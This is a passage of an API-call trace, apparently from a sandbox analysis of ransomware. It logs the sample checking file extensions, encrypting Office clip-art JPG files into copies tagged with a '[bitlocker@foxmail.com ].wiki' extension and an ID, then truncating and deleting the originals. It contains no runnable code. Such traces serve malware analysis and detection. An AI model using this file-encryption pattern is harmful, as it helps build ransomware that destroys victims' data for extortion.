[0196.583] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0196.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG") returned 63 [0196.584] lstrlenW (lpString=".zip") returned 4 [0196.584] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0196.584] lstrlenW (lpString=".rar") returned 4 [0196.584] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0196.584] lstrlenW (lpString=".bz2") returned 4 [0196.584] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0196.584] lstrlenW (lpString=".7z") returned 3 [0196.584] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0196.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG") returned 63 [0196.584] lstrlenW (lpString=".dbf") returned 4 [0196.584] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0196.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG") returned 63 [0196.584] lstrlenW (lpString=".1cd") returned 4 [0196.584] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0196.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG") returned 63 [0196.584] lstrlenW (lpString=".jpg") returned 4 [0196.584] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0196.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG") returned 63 [0196.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG") returned 63 [0196.584] lstrlenW (lpString=".doc") returned 4 [0196.584] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0196.584] lstrlenW (lpString=".docx") returned 5 [0196.584] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0196.584] lstrlenW (lpString=".pdf") returned 4 [0196.584] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0196.584] lstrlenW (lpString=".xls") returned 4 [0196.584] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0196.584] lstrlenW (lpString=".xlsx") returned 5 [0196.584] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0196.584] lstrlenW (lpString=".ppt") returned 4 [0196.585] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0196.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG") returned 63 [0196.585] lstrlenW (lpString=".zip") returned 4 [0196.585] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0196.585] lstrlenW (lpString=".rar") returned 4 [0196.585] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0196.585] lstrlenW (lpString=".bz2") returned 4 [0196.585] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0196.585] lstrlenW (lpString=".7z") returned 3 [0196.585] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0196.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG") returned 63 [0196.585] lstrlenW (lpString=".dbf") returned 4 [0196.585] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0196.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG") returned 63 [0196.585] lstrlenW (lpString=".1cd") returned 4 [0196.585] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0196.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG") returned 63 [0196.585] lstrlenW (lpString=".jpg") returned 4 [0196.585] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0196.674] lstrcmpiW (lpString1=".JPG", lpString2=".wiki") returned -1 [0196.675] lstrlenW (lpString="J0145904.JPG") returned 12 [0196.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145904.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0196.676] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=39542) returned 1 [0196.676] CloseHandle (hObject=0x1cc) returned 1 [0196.676] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145904.jpg")) returned 0x20 [0196.676] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145904.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0196.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145904.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0196.676] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0196.676] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0196.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145904.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0196.677] GetLastError () returned 0x0 [0196.677] ReadFile (in: hFile=0x1cc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x9a76, lpOverlapped=0x0) returned 1 [0196.696] WriteFile (in: hFile=0x1f0, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x9a80, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x9a80, lpOverlapped=0x0) returned 1 [0196.697] ReadFile (in: hFile=0x1cc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0196.698] WriteFile (in: hFile=0x1f0, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0196.698] SetEndOfFile (hFile=0x1f0) returned 1 [0196.698] CloseHandle (hObject=0x1f0) returned 1 [0196.698] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0196.698] SetEndOfFile (hFile=0x1cc) returned 1 [0196.699] CloseHandle (hObject=0x1cc) returned 1 [0196.699] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0196.699] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145904.jpg")) returned 1 [0196.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG") returned 63 [0196.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG") returned 63 [0196.699] lstrlenW (lpString=".doc") returned 4 [0196.699] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0196.699] lstrlenW (lpString=".docx") returned 5 [0196.699] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1 [0196.700] lstrlenW (lpString=".pdf") returned 4 [0196.700] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0196.700] lstrlenW (lpString=".xls") returned 4 [0196.700] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0196.700] lstrlenW (lpString=".xlsx") returned 5 [0196.700] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1 [0196.700] lstrlenW (lpString=".ppt") returned 4 [0196.700] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0196.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG") returned 63 [0196.700] lstrlenW (lpString=".zip") returned 4 [0196.700] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0196.700] lstrlenW (lpString=".rar") returned 4 [0196.700] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0196.700] lstrlenW (lpString=".bz2") returned 4 [0196.700] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0196.700] lstrlenW (lpString=".7z") returned 3 [0196.700] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0196.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG") returned 63 [0196.700] lstrlenW (lpString=".dbf") returned 4 [0196.700] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0196.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG") returned 63 [0196.700] lstrlenW (lpString=".1cd") returned 4 [0196.700] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0196.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG") returned 63 [0196.700] lstrlenW (lpString=".jpg") returned 4 [0196.700] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0196.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG") returned 63 [0196.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG") returned 63 [0196.700] lstrlenW (lpString=".doc") returned 4 [0196.700] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0196.701] lstrlenW (lpString=".docx") returned 5 [0196.701] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1 [0196.701] lstrlenW (lpString=".pdf") returned 4 [0196.701] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0196.701] lstrlenW (lpString=".xls") returned 4 [0196.701] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0196.701] lstrlenW (lpString=".xlsx") returned 5 [0196.701] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1 [0196.701] lstrlenW (lpString=".ppt") returned 4 [0196.701] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0196.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG") returned 63 [0196.701] lstrlenW (lpString=".zip") returned 4 [0196.701] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0196.701] lstrlenW (lpString=".rar") returned 4 [0196.701] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0196.701] lstrlenW (lpString=".bz2") returned 4 [0196.701] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0196.701] lstrlenW (lpString=".7z") returned 3 [0196.701] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0196.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG") returned 63 [0196.701] lstrlenW (lpString=".dbf") returned 4 [0196.701] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0196.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG") returned 63 [0196.701] lstrlenW (lpString=".1cd") returned 4 [0196.701] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0196.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG") returned 63 [0196.701] lstrlenW (lpString=".jpg") returned 4 [0196.701] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0196.702] lstrcmpiW (lpString1=".JPG", lpString2=".wiki") returned -1 [0196.702] lstrlenW (lpString="J0148757.JPG") returned 12 [0196.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148757.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0196.702] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=67540) returned 1 [0196.702] CloseHandle (hObject=0x1cc) returned 1 [0196.702] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148757.jpg")) returned 0x20 [0196.702] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148757.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0196.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148757.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0196.702] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0196.702] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0196.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148757.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0196.703] GetLastError () returned 0x0 [0196.703] ReadFile (in: hFile=0x1cc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x107d4, lpOverlapped=0x0) returned 1 [0196.728] WriteFile (in: hFile=0x1f0, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x107e0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x107e0, lpOverlapped=0x0) returned 1 [0196.730] ReadFile (in: hFile=0x1cc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0196.730] WriteFile (in: hFile=0x1f0, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0196.730] SetEndOfFile (hFile=0x1f0) returned 1 [0196.730] CloseHandle (hObject=0x1f0) returned 1 [0196.730] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0196.730] SetEndOfFile (hFile=0x1cc) returned 1 [0196.731] CloseHandle (hObject=0x1cc) returned 1 [0196.731] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0196.732] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148757.jpg")) returned 1 [0196.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG") returned 63 [0196.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG") returned 63 [0196.732] lstrlenW (lpString=".doc") returned 4 [0196.732] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0196.732] lstrlenW (lpString=".docx") returned 5 [0196.732] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0196.732] lstrlenW (lpString=".pdf") returned 4 [0196.732] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0196.732] lstrlenW (lpString=".xls") returned 4 [0196.732] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0196.732] lstrlenW (lpString=".xlsx") returned 5 [0196.732] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0196.732] lstrlenW (lpString=".ppt") returned 4 [0196.732] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0196.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG") returned 63 [0196.732] lstrlenW (lpString=".zip") returned 4 [0196.732] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0196.732] lstrlenW (lpString=".rar") returned 4 [0196.732] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0196.732] lstrlenW (lpString=".bz2") returned 4 [0196.732] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0196.732] lstrlenW (lpString=".7z") returned 3 [0196.733] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0196.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG") returned 63 [0196.733] lstrlenW (lpString=".dbf") returned 4 [0196.733] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0196.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG") returned 63 [0196.733] lstrlenW (lpString=".1cd") returned 4 [0196.733] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0196.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG") returned 63 [0196.733] lstrlenW (lpString=".jpg") returned 4 [0196.733] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0196.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG") returned 63 [0196.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG") returned 63 [0196.733] lstrlenW (lpString=".doc") returned 4 [0196.733] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0196.733] lstrlenW (lpString=".docx") returned 5 [0196.733] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0196.733] lstrlenW (lpString=".pdf") returned 4 [0196.733] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0196.733] lstrlenW (lpString=".xls") returned 4 [0196.733] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0196.733] lstrlenW (lpString=".xlsx") returned 5 [0196.733] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0196.733] lstrlenW (lpString=".ppt") returned 4 [0196.733] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0196.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG") returned 63 [0196.733] lstrlenW (lpString=".zip") returned 4 [0196.733] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0196.733] lstrlenW (lpString=".rar") returned 4 [0196.733] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0196.733] lstrlenW (lpString=".bz2") returned 4 [0196.733] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0196.734] lstrlenW (lpString=".7z") returned 3 [0196.734] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0196.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG") returned 63 [0196.734] lstrlenW (lpString=".dbf") returned 4 [0196.734] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0196.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG") returned 63 [0196.734] lstrlenW (lpString=".1cd") returned 4 [0196.734] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0196.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG") returned 63 [0196.734] lstrlenW (lpString=".jpg") returned 4 [0196.734] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0196.734] lstrcmpiW (lpString1=".JPG", lpString2=".wiki") returned -1 [0196.734] lstrlenW (lpString="J0149118.JPG") returned 12 [0196.734] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149118.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0196.735] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=64802) returned 1 [0196.735] CloseHandle (hObject=0x1cc) returned 1 [0196.735] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149118.jpg")) returned 0x20 [0196.735] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149118.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0196.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149118.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0196.735] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0196.735] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0196.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149118.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0196.735] GetLastError () returned 0x0 [0196.736] ReadFile (in: hFile=0x1cc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0xfd22, lpOverlapped=0x0) returned 1 [0196.758] WriteFile (in: hFile=0x1f0, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xfd30, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xfd30, lpOverlapped=0x0) returned 1 [0196.760] ReadFile (in: hFile=0x1cc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0196.760] WriteFile (in: hFile=0x1f0, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0196.760] SetEndOfFile (hFile=0x1f0) returned 1 [0196.760] CloseHandle (hObject=0x1f0) returned 1 [0196.760] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0196.760] SetEndOfFile (hFile=0x1cc) returned 1 [0196.761] CloseHandle (hObject=0x1cc) returned 1 [0196.761] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0196.761] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149118.jpg")) returned 1 [0196.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG") returned 63 [0196.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG") returned 63 [0196.762] lstrlenW (lpString=".doc") returned 4 [0196.762] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0196.762] lstrlenW (lpString=".docx") returned 5 [0196.762] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0196.762] lstrlenW (lpString=".pdf") returned 4 [0196.762] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0196.762] lstrlenW (lpString=".xls") returned 4 [0196.762] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0196.762] lstrlenW (lpString=".xlsx") returned 5 [0196.762] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0196.762] lstrlenW (lpString=".ppt") returned 4 [0196.762] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0196.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG") returned 63 [0196.762] lstrlenW (lpString=".zip") returned 4 [0196.762] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0196.762] lstrlenW (lpString=".rar") returned 4 [0196.762] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0196.762] lstrlenW (lpString=".bz2") returned 4 [0196.762] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0196.762] lstrlenW (lpString=".7z") returned 3 [0196.762] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 